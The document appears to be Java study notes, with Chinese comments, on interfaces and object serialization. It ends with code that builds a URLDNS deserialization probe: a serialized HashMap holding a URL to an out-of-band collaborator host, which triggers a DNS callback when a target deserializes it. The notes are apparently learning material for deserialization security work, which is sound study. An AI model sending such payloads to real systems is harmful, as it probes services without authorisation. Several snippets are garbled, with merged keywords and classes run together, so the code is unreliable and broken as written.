package qingchuan.java;
//定义一个People接口
interface People {
//接口的方法peopleList()
void peopleList();
}
//Students继承接口
class Student implements People {
public void peopleList() {
System.out.println("I’m a student.");
}
}
//Teacher继承接口
class Teacher implements People {
public void peopleList() {
System.out.println("I’m a teacher.");
}
}
public class Interface_test {
public static void main(String args[]) {
People a; //声明接口变量
a = new Student(); //实例化,接口变量中存放对象的引用
a.peopleList(); //接口回调,调用Student类的peopleList()方法
a = new Teacher(); //实例化,接口变量中存放对象的引用
a.peopleList(); //接口回调,调用Teacher类的peopleList()方法
}
// 结果:
// I’m a student.
// I’m a teacher.
}
public class SerializationTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos =new ObjectOutputStream((new FileOutputStream("ser.bin"))); oos.writeObject(obj); } public static void main(String[] args)throws Exception{ Person person = new Person("aa",22); System.out.println(person); serialize(person); } }package QIngchaun;
import java.io.Serializable;
public class Person implements Serializable { private String name; private int age; public Person(){
} public Person(String name,int age){ this.name=name; this.age=age; }
publicclassMyListimplementsSerializable { private String name; /* transient 表示该成员 arr 不需要被序列化 */ privatetransient Object[] arr; publicMyList() { } publicMyList(String name) { this.name = name; this.arr = newObject[100]; /* 给前面30个元素进行初始化 */ for (inti=0; i < 30; i++) { this.arr[i] = i; } } @Override public String toString() { return"MyList{" + "name='" + name + '\'' + ", arr=" + Arrays.toString(arr) + '}'; } //-------------------------- 自定义序列化反序列化 arr 元素 ------------------ /** * Save the state of the <tt>ArrayList</tt> instance to a stream (that * is, serialize it). * * @serialData The length of the array backing the <tt>ArrayList</tt> * instance is emitted (int), followed by all of its elements * (each an <tt>Object</tt>) in the proper order. */ privatevoidwriteObject(java.io.ObjectOutputStream s) throws java.io.IOException { //执行 JVM 默认的序列化操作 s.defaultWriteObject(); //手动序列化 arr 前面30个元素 for (inti=0; i < 30; i++) { s.writeObject(arr[i]); } } /** * Reconstitute the <tt>ArrayList</tt> instance from a stream (that is, * deserialize it). */ privatevoidreadObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); arr = newObject[30]; // Read in all elements in the proper order. for (inti=0; i < 30; i++) { arr[i] = s.readObject(); } } }
public class serializeTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(obj); }
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { //Person person = new Person("username",11); //System.out.println(person); HashMap<URL,Integer> hashMap = new HashMap<>(); //这里不要发起请求,把url对象的hashcode改成不是-1 URL url = new URL("http://jm97wyv7516bpv5b21bar09naeg54u.oastify.com"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url,123); hashMap.put(url,1); hashcodefield.set(url,-1); serialize(hashMap); } }